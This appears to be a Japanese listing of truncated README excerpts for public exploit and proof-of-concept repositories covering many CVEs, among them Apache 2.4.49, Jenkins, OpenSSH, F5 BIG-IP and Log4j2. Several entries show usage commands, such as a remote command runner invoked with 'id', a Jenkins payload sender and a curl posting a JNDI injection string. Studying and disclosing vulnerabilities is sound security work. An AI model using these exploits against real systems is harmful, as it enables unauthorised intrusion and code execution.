cve-2021-41773

Apache 2.4.49 - パストラバーサルまたはリモートコード実行 cve-2021-41773.py は、Apache 2.4.49 におけるパストラバーサルまたはリモートコード実行の脆弱性を発見するための Python スクリプトです。CVE-2021-41773 を実際に試すための脆弱な Docker インスタンスも提供されています。 CGI-BIN が有効な場合、パストラバーサルではなくリモートコード実行が可能です。そのため、パストラバーサルの脆弱性を確認するために、httpd.conf の Alias セクションに "icons" ディレクトリが追加されています。...

CVE-2025-55182-in-go

CVE-2025-55182 — React Server Components RCE プロトタイプ汚染を利用した React Server Components の RCE エクスプロイトです。 使用方法 root@kitploit: go run main.go -t -c 使用例 root@kitploit: go run main.go -t http://127.0.0.1 -c "id" go run main.go -t http://127.0.0.1 -c "ls -la" go run main.go -t http://127.0.0.1 -c "cat...

CVE-2021-34481

CVE-2021-34481 CVE-2021-34481（Windows Print Spooler リモートコード実行の脆弱性）のパッチを確認 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481...

CVE-2017-1000353

CVE-2017-1000353 POC Jenkins CVE-2017-1000353 を再現する方法？ このリポジトリをクローンし、以下のコマンドでビルド済みペイロード jenkinspoc.ser を使用します： root@kitploit: python exploit.py http://your-ip:8080 jenkinspoc.ser すると、touch /tmp/success が実行されます。 Java バージョンの要件 重要 : ペイロードの生成は Java のバージョンに依存します。openjdk:8u292 で正常にテストされています。他の Java...

CVE-2024-37084

CVE-2024-37084 Spring Cloud リモートコード実行...

CVE-2024-6387

CVE-2024-6387 CVE-2024-6387 POC 現在編集中 openssh CVE-2024-6387 - PoC 📜 説明 注意: このスクリプトはクイックプロトタイプのPoCであり、エラーやバグが発生する可能性があります。 テスト済み: Kali Linux, ParrotSec, Ubuntu 22.04 OpenSSHサーバーにおけるリモートからの未認証コード実行の脆弱性...

CVE-2022-47966-Scan

CVE-2022-47966 スキャナー 概要 CVE-2022-47966 は、少なくとも 24 のオンプレミス ManageEngine 製品に影響を与える、認証不要の重要なリモートコード実行の脆弱性です。この脆弱性は、SAML SSO が有効になっている場合にのみ適用されます。一部の製品では、SAML SSO が以前に有効になっていた場合にも適用されます。 タイムライン CVE-2022-47966 は、Khoadha of Viettel Cyber Security によって発見され、影響を受ける製品については 2022 年 10...

CVE-2024-32002-hook

CVE-2024-32002-hook CVE-2024-32002-hook...

CVE-2024-11635

WordPress File Upload このREADMEは、教育および防御目的のために公開された脆弱性を文書化したものです。本番環境や、所有していない、または明示的なテスト許可を得ていないシステムに対してテストを実行しないでください。 発見者: abrahack ステータス: 公開情報開示 報告日: 2025-01-07 CVE ID: CVE-2024-11635 スクリーンショット Exploit --- 概要 WordPress用プラグイン WordPress File Upload は、'wfuABSPATH'...

SMB-LINUX-CVE-2025-37899

LinuxカーネルのksmbdにおけるUse-After-Freeの脆弱性（CVE-2025-37899） 説明 Linuxカーネルのksmbdモジュール（ネットワーク上のファイル共有のためのSMB（Server Message Block）プロトコルの実装を担う）に、 use-after-free タイプの脆弱性が発見されました。CVE-2025-37899として識別されたこの脆弱性は、権限が昇格されたリモートコード実行を可能にする可能性があります。 はじめに この発見は、研究者のSean...

cve-2023-46747

CVE-2023-46747 エクスプロイトスクリプト このスクリプトは、F5 BIG-IP TMUI リモートコード実行脆弱性 CVE-2023-46747 を悪用します。これにより、認証されていない攻撃者が、脆弱性のある F5 BIG-IP システム上で任意のコマンドを実行できるようになります。 目次 機能 要件 使い方 パラメータ 動作の仕組み 免責事項 機能 認証なしのユーザー作成: 対象システム上にユーザーを生成します。 トークン取得: 作成したユーザーを使用して認証トークンを取得します。 リモートコマンド実行: 対象システム上で任意のシェルコマンドを実行します。 要件...

CVE-2024-23692

Rejetto HTTP File Server HFS 未認証 RCE 脆弱性の再現 CVE-2024-23692 概要 Rejetto HTTP File Server HFS は軽量な HTTP ファイルサーバーであり、ファイル共有やファイル転送に広く使用されています。CVE-2024-23692 はテンプレートインジェクションの脆弱性で、リモートの認証されていない攻撃者が特別に細工された HTTP リクエストを送信することで、影響を受けるシステム上で任意のコマンドを実行できるようになります。CVE 割り当て日時点で、Rejetto HFS 2.3m はサポート対象外です。...

CVE-2024-46451

CVE-2024-46451 TOTOLINK AC1200 T8 エクスプロイト - バッファオーバーフローの脆弱性 このリポジトリには、TOTOLINK AC1200 T8 バージョン v4.1.5cu.861B20230220 の setWiFiAclRules 関数における desc パラメータを介したバッファオーバーフローの脆弱性を悪用するPythonスクリプトが含まれています。 脆弱性の詳細 脆弱性タイプ : バッファオーバーフロー 影響を受ける関数 : setWiFiAclRules 影響を受けるバージョン : TOTOLINK AC1200 T8...

CVE-2024-46377

CVE-2024-46377 Best House Rental Management System 1.0 の任意ファイルアップロード脆弱性のPoC 概要 このPythonスクリプトは、Best House Rental Management System 1.0 の任意ファイルアップロード脆弱性を悪用する方法を示しています。この脆弱性により、攻撃者は悪意のあるファイル（PHPウェブシェルなど）をアップロードし、ターゲットサーバー上で任意のコマンドを実行できます。 使用方法 1. リポジトリをクローンしてディレクトリに移動します: root@kitploit: git clone...

LetsDefend-SOC342-CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-andRCE-EventID-320

🧠 LetsDefend SharePoint Zero-Day Analysis ToolShell - SOC342-CVE-2025-53770 📘 はじめに LetsDefend のサイバーラボで、ToolShell CVE-2025-53770 と呼ばれるSharePointのゼロデイを調査しました。 この演習は、悪意のあるPOSTリクエストが認証を迂回し、PowerShellを実行して MachineKeySection キーを盗み出し、payload.exe をコンパイルし、悪意のあるWebシェル spinstall0.aspx を配置する、現実のゼロデイRCE攻撃...

nexus_rce_CVE-2019-7238

nexusrceCVE-2019-7238 デバッグメモとエクスプロイトブラインドではない エクスプロイト burpsuiteを使用し、リクエスト内のls / -alを変更するだけです。ダブルクォートはシングルクォートに置き換えられるので注意してください root@kitploit: POST /service/extdirect HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.14; rv:63.0 Gecko/20100101 Firefox/63.0 Accept: /...

CVE-2024-50379-POC

CVE-2024-50379 の悪用とPOC このリポジトリは、Apache Tomcat に影響を与える脆弱性 CVE-2024-50379 の Proof of Concept（POC）を提供します。この問題は Time-of-Check Time-of-Use（TOCTOU）競合状態 を引き起こし、特に Windows のような大文字小文字を区別しないファイルシステム上で リモートコード実行（RCE） につながる可能性があります。 目次 説明 POC 使用方法 セキュリティに関する考慮事項 ライセンス 説明 CVE-2024-50379 は、TOCTOU...

log4j2-rce-poc

Log4j2 RCE脆弱性の概念実証 Log4j2 JNDIリモートコード実行脆弱性（CVE-2021-44228）の最小限の概念実証です。これは教育目的であり、セキュリティ研究者でない人々がその仕組みと影響の大きさを理解するのに役立つことを意図しています。 このPOCは、com.sun.jndi.rmi.object.trustURLCodebaseおよびcom.sun.jndi.cosnaming.object.trustURLCodebaseプロパティをtrueに設定する要件を回避します。これらのプロパティは8u121、7u131、6u141以降デフォルトで無効化されました。 前提...

CVE-2023-36158

CVE-2023-36158 sourcecodester Toll Tax Management System 1.0 におけるクロスサイトスクリプティング XSS の脆弱性により、リモートの攻撃者が My Account ページの First Name フィールドと Last Name フィールドを介して任意のコードを実行できる可能性があります。...

cve-2021-44228--spring-hibernate

CVE-2021-44228 実証コード - Spring / Hibernate この実証コードは Spring / Hibernate を使用していますが、rmi - デシリアライゼーションの同様のアプローチは、あらゆるデシリアライゼーションの脆弱性をトリガーするために使用できます TL;DR root@kitploit: $ docker-compose up $ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '$jndi:rmi://exploit:10000/a' 被害者の...